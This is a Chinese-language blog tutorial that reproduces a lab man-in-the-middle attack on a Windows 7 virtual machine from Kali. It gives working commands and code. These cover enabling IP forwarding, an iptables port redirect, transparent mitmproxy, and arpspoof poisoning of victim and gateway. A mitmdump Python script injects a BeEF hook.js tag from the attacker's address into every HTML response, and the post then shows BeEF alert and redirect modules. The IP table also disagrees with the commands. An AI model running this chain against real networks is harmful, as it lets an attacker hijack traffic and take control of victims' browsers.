用BeEF和mitmproxy实现浏览器中间人攻击

 前言

本文仅适用于小白

本文是基于freebuf NT00老师的文章《浏览器攻击框架BeEF Part 2:初始化控制》中浏览器中间人攻击一节,在学习后进行了攻击复现。原文章链接:浏览器攻击框架BeEF Part 2:初始化控制 - FreeBuf网络安全行业门户

本人是小白一枚,所以遇到了一些小白会有疑问的问题最终成功解决了问题完成了复现。

本文会对这个攻击详细的复现一遍,复现过程中解决的问题如下:(若未遇到以下问题,看NT00老师的文章就够了)

  1. 攻击机和靶机的网络配置(攻击机kali,靶机win7)
  2. 使用 mitmproxy 替换 HTML 响应数据中的内容时一直提示无法识别提供的参数 -R(提示mitmproxy: error: unrecognized arguments: -R)
  3. 进行ARP欺骗时提示arpspoof: libnet_check_iface() ioctl: No such device
  4. 在全部配置完毕后mitmproxy的控制台没有输出,靶机访问任何http网页都没有记录。
  5. 3和4笔者是因为没有把命令中的网络接口改成自己的

复现如下

使用的是BeEF(BeEF安装很简单随便搜一下就有教程) 和 mitmproxy(kali默认已经安装mitmproxy,mitmproxy是一个中间人攻击的框架)

测试环境

主机身份IP
Kali攻击机192.128.190.128
win7受害机192.128.190.129
网关受害机192.128.190.2

1. 配置攻击机和靶机网络

将攻击机和靶机的虚拟机网络设置均改为自定义下的NAT模式选同一个网络适配器

kali:

win7:

配置好后分别在kali输入ifconfig,在win7输入ipconfig查看攻击机、靶机、网关的IP

 分别ping一下对方看能否ping通,注意:要关闭win7的防火墙,否则kali无法ping通win7

2. 开启beef的服务

在kali输入如下命令:

systemctl start beef-xss.service

 

3. 开启ip转发功能

echo 1 > /proc/sys/net/ipv4/ip_forward

 

4. 使用iptables设置端口重定向

iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080

这条命令是使用 iptables 工具来配置NAT规则的,作用是:当有数据包通过 eth0 接口到达,并且目标端口是 80(HTTP 服务的默认端口),则将这些数据包重定向到本机的 8080 端口。

注意:这里要把eth0改成你自己系统的网络接口,前面使用ifconfig的时候可以看到。-i eth0:指定数据包到达的网络接口是 eth0eth0 通常表示第一个以太网接口,但具体名称可能因系统而异。

5. 启动mitmproxy, 并设置在所有html respond 数据中插入beef勾子

启动mitmproxy, 并将所有html respond 数据中的</body> 标签,并将其替换为指定的 <script> 标签:<script src='http://192.168.190.128:3000/hook.js' type='text/javascript'></script></body>,即插入beef钩子。

原文中直接输入的命令是:

mitmproxy --anticache --showhost -p 8080 --mode transparent -R ":~s:</body>:<script src='http://192.168.8.219:3000/hook.js' type='text/javascript'></script></body>"

 将命令中的ip地址改为自己Kali的IP地址就行

但题主遇到的问题是输入命令后提示mitmproxy: error: unrecognized arguments: -R如图

调了一半天没搞懂问题出在哪,实在搞不懂所以采用了另一种方法:使用 mitmdumpmitmproxy 的命令行版本)和 Python 脚本进行 HTML 响应内容替换。

1)首先,执行原命令的前半部分

mitmproxy --anticache --showhost -p 8080 --mode transparent

这行命令是用于配置 mitmproxy

  • --anticache: 告诉 mitmproxy 忽略客户端的缓存,强制代理服务器对每个请求进行处理。
  • --showhost: 显示原始的主机头信息,而不是代理服务器的地址。
  • -p 8080: 指定 mitmproxy 监听的端口号为 8080。
  • --mode transparent: 设置 mitmproxy 以透明代理模式运行,这意味着它将尝试自动处理所有流量,而不需要客户端或服务器端进行特别的配置。

运行后是这样,进入了mitmproxy界面,先按q再按y退出。

2)然后,创建一个 Python 脚本,命名为 replace_html.py,内容如下:

from mitmproxy import http

def response(flow: http.HTTPFlow):
    # 检查响应的Content-Type是否为HTML
    if "text/html" in flow.response.headers.get("Content-Type", ""):
        # 读取响应体内容
        content = flow.response.get_text()
        # 使用正则表达式替换</body>标签
        new_content = content.replace("</body>", '<script src="http://192.168.190.128:3000/hook.js" type="text/javascript"></script></body>')
        # 设置新的响应体内容
        flow.response.content = new_content.encode("utf-8")

  注意:要将脚本中的ip地址改为自己Kali的IP地址

该Python 脚本中response 函数是一个钩子,当 HTTP 响应被 mitmproxy 拦截时调用。这个函数首先检查响应的 Content-Type 头部是否包含 text/html,这通常意味着响应内容是 HTML。如果是 HTML 响应,脚本会读取响应体内容,并将所有的 </body> 标签替换为注入的 JavaScript 脚本标签。替换后的 HTML 内容被重新编码为 UTF-8 格式,并设置回 flow.response.content,这样当响应发送回客户端时,就会包含注入的脚本。

3)然后,使用 mitmdump 命令行工具并加载上述脚本:

mitmdump -s replace_html.py

运行后是这样 ,现在还没有数据经过,暂时是这样

6. 执行 ARP 欺骗,将目标主机的流量重定向到攻击机上

刚才的命令行界面暂先搁置,重新开一个命令行窗口依次执行如下命令

arpspoof -i eth0 -t 192.168.190.129 192.168.190.2
arpspoof -i eth0 -t 192.168.190.2 192.168.190.129
  • arpspoof:是执行 ARP 欺骗的工具。
  • -i eth0:指定了用于发送伪造 ARP 响应的网络接口。注意:这里要把eth0改成你自己系统的网络接口
  • -t 192.168.190.129-t 参数后面跟的是目标主机的 IP 地址
  • 192.168.190.2:这是网关的 IP 地址

执行这个命令后,arpspoof 会向目标主机 192.168.190.129 发送伪造的 ARP 响应。如果成功,目标主机会更新其 ARP 表,并将所有发往网关的流量发送到攻击机上,从而能截获和分析流量。

7. 开始执行

上述全部配置完成后,当win7访问http页面时,

mitmdump的命令行界面会有大量的输出,所有的http流量都有记录。

 

这里用win7访问了http://www.firefox.com.cn。访问后能看到mitmdump的命令行界面有流量记录。这时在Kali上查看一下beef 的管理界面http://127.0.0.1:3000/ui/panel,发现已经钩住了Windows的浏览器。

可以点击Details查看浏览器相关信息。

 可以利用BeEF发起一些xss攻击
比如发送页面弹窗

在commands中选择create Alert Dialog,在Alert text框中输入弹窗内容后,点击execute执行。

执行后回到win7系统,能看见页面上出现了弹窗。

再比如重定向页面

在commands中搜索选择Redirect Browser,在Redirect URL框中输入你想重定向的链接后,点击execute执行。这里重定向链接输入的是www.baidu.com

 点击执行后,点击模块执行历史,可以看到已经成功重定向了

这时去看win7系统,能看见原本的火狐页面变成了百度页面。

  • 28
    点赞
  • 26
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值